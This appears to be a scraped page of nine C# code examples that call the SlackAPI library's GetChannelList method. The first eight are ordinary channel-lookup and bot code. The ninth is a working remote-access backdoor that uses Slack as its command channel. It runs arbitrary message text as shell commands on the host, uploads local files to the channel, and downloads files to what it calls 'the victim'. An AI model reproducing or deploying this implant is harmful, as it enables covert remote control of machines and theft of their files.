Пример #1
0
        public string GetChannelId(string name)
        {
            SlackClient.GetChannelList((cl) => { });
            var c = SlackClient.Channels.Find((channel) => (channel.name.Equals(name)));

            return(c.id);
        }
Пример #2
0
        private Task <ChannelListResponse> GetChannelListAsync()
        {
            var tskSource = new TaskCompletionSource <ChannelListResponse>(TaskCreationOptions.RunContinuationsAsynchronously);

            _client.GetChannelList(response => tskSource.TrySetResult(response));
            return(tskSource.Task);
        }
Пример #3
0
 public void RefreshChannelList(Action callback = null)
 {
     client.GetChannelList((clr) =>
     {
         callback?.Invoke();
     });
 }
Пример #4
0
        public ChannelListResponse GetChannelList()
        {
            ChannelListResponse list = null;

            Connect();
            Slack.GetChannelList((listResponse) =>
            {
                list = listResponse;
                ClientReady.Set();
            });
            ClientReady.Wait();
            ClientReady.Reset();
            return(list);
        }
Пример #5
0
        public void Start()
        {
            LoadConfig();
            rand = new Random();
            LoadFaces();

            haarCascade = new CascadeClassifier(config.classifierFile);

            client = new SlackSocketClient(config.botToken);

            checkSocketTimer          = new System.Timers.Timer();
            checkSocketTimer.Elapsed += CheckSocketConnected;
            checkSocketTimer.Interval = 10000; // in miliseconds
            checkSocketTimer.Start();

            try
            {
                ManualResetEventSlim clientReady = new ManualResetEventSlim(false);
                ManualResetEventSlim stopClient  = new ManualResetEventSlim(false);

                client.Connect((connected) =>
                {
                    // This is called once the client has emitted the RTM start command
                    clientReady.Set();
                    Console.WriteLine("Connected!");
                }, () =>
                {
                    // This is called once the RTM client has connected to the end point
                });

                clientReady.Wait();

                client.OnMessageReceived += OnMessageReceived;
                client.BindCallback <NewFileSharedMessage>(OnNewFileShared);
                client.GetChannelList(GetChannelsCallback);

                var c = client.Channels.Find(x => x.name.Equals("general")); //we listen and post only on the general channel
                myChannels.Add(c);

                stopClient.Wait();
            }
            catch (Exception e)
            {
                Console.WriteLine("Error: Unable to connect to slack.");
            }
        }
Пример #6
0
        private void RefreshChannelsTimer_Elapsed(object sender, ElapsedEventArgs e)
        {
            try {
                using (ManualResetEventSlim w1 = new ManualResetEventSlim()) {
                    _client.GetChannelList((clr) => {
                        try {
                            Log.Info("Got Channels");
                            _client.Channels = clr.channels.ToList();
                        } finally {
                            w1.Set();
                        }
                    });

                    w1.Wait();
                }
            } catch (Exception ex) {
                Log.Error(nameof(RefreshChannelsTimer_Elapsed), ex);
            }
        }
Пример #7
0
        internal List <AwsDotnetCsharp.Models.Channel> GetChannels(List <string> channelIds)
        {
            var token = Environment.GetEnvironmentVariable("SLACK_ACCESS_TOKEN");

            if (token == null)
            {
                throw new Exception("Error getting slack token from ssm");
            }

            ManualResetEventSlim clientReady = new ManualResetEventSlim(false);
            SlackSocketClient    client      = new SlackSocketClient(token);

            client.Connect((connected) => {
                // This is called once the client has emitted the RTM start command
                clientReady.Set();
            }, () => {
                // This is called once the RTM client has connected to the end point
            });
            // client.OnMessageReceived += (message) =>
            // {
            //     // Handle each message as you receive them
            // };
            clientReady.Wait();

            client.GetChannelList((ulr) => { Console.WriteLine("got channels"); });

            var channelList = new List <AwsDotnetCsharp.Models.Channel>();

            foreach (var u in channelIds)
            {
                var slackChannels = client.Channels.Find(x => x.id.Equals(u));
                channelList.Add(new Models.Channel {
                    id   = slackChannels.id,
                    name = slackChannels.name
                });
            }

            // Release the socket.
            client.CloseSocket();

            return(channelList);
        }
Пример #8
0
        /// <summary>
        /// Send slack message
        /// </summary>
        /// <param name="channelName"></param>
        /// <param name="message"></param>
        public void SendSlackMessage(string channelName, string message)
        {
            try
            {
                SlackSocketClient.GetChannelList((clr) => { Console.WriteLine("got channels"); });

                var channels     = SlackSocketClient.Channels;
                var slackChannel = SlackSocketClient.Channels.Find(x => x.name.Equals(channelName));
                if (slackChannel == null)
                {
                    Console.WriteLine("Channel does not exist");
                    return;
                }
                SlackSocketClient.PostMessage((mr) => Console.WriteLine(message), slackChannel.id, message);
            }
            catch (Exception exception)
            {
                Console.WriteLine(exception);
            }
        }
Пример #9
0
        static void Main(string[] args)
        {
            string slack_token = "xoxb-TokenHere"; //CHANGE THIS
            string oauth_token = "xoxp-TokenHere"; //CHANGE THIS

            string targetID = "";                  //This is to only accept messages sent through the created channel. Otherwise, any message received by the bot is to be executed.
            ManualResetEventSlim clientReady  = new ManualResetEventSlim(false);
            SlackSocketClient    client       = new SlackSocketClient(slack_token);
            SlackSocketClient    oauth_client = new SlackSocketClient(oauth_token);

            client.Connect((connected) => {
                // This is called once the client has emitted the RTM start command
                clientReady.Set();
            }, () => {
                // This is called once the RTM client has connected to the end point
            });
            client.OnMessageReceived += (message) =>
            {
                // Handle each message as you receive them
                if (message.bot_id == null && targetID == message.channel) //Only execute messages sent by users
                {
                    switch (message.text.ToLower().Split(' ')[0])
                    {
                    case "exit":     //Terminate the shell
                        client.PostMessage(null, message.channel.ToString(), "Channel Terminated!");
                        Thread.Sleep(20);
                        Environment.Exit(1);
                        break;

                    case "upload":     //Upload local files to Slack channel
                        string[] ch = new string[1];
                        ch[0] = message.channel.ToString();
                        try
                        {
                            string path = message.text.ToLower().Split(new[] { ' ' }, 2)[1];
                            client.UploadFile(null, System.IO.File.ReadAllBytes(path), System.IO.Path.GetFileName(path), ch);
                        }
                        catch (Exception e)
                        {
                            client.PostMessage(null, message.channel.ToString(), e.Message);
                        }
                        break;

                    case "download":     //Download files to the victim .. download [URL] [NameOfFile/Path]
                        string @remoteUri = message.text.Split(new[] { ' ' }, 3)[1];
                        string @fileName  = message.text.Split(new[] { ' ' }, 3)[2];
                        using (var down = new System.Net.WebClient())
                        {
                            try
                            {
                                remoteUri = remoteUri.Replace(">", "");
                                remoteUri = remoteUri.Replace("<", "");
                                down.DownloadFile(@remoteUri, @fileName);
                                client.PostMessage(null, message.channel.ToString(), "Downloaded successfully.");
                            }
                            catch (Exception e)
                            {
                                client.PostMessage(null, message.channel.ToString(), e.Message.ToString());
                            }
                            break;
                        }

                    default:     //Execute command if no keywords used
                        string output = Execute(message.text);
                        client.PostMessage(null, message.channel.ToString(), "```" + output + "```");
                        break;
                    }
                }
            };
            clientReady.Wait();

            string chan_name = (System.Net.Dns.GetHostName() + "_" + Environment.UserName).ToLower(); //Grab Hostname and Username for the channel name

            client.GetChannelList(null);
            var general = client.Channels.Find(x => x.name.Equals("general"));

            oauth_client.ChannelsCreate((response) => { //Create channel and assigne the targetID
                if (response.ok)
                {
                    client.PostMessage(null, general.id, "[+] Channel " + chan_name + " is created. Have fun :)");
                    targetID = response.channel.id.ToString();
                }
                else if (response.error == "name_taken")
                {
                    client.PostMessage(null, general.id, "[*] Channel " + chan_name + " is already exists.");
                    targetID = client.Channels.Find(x => x.name.Equals(chan_name)).id;
                }
                else
                {
                    client.PostMessage(null, general.id, "[-] Channel " + chan_name + " " + response.error.ToString());
                }
            }, chan_name);


            while (true)
            {
                Thread.Sleep(1000);
            }
        }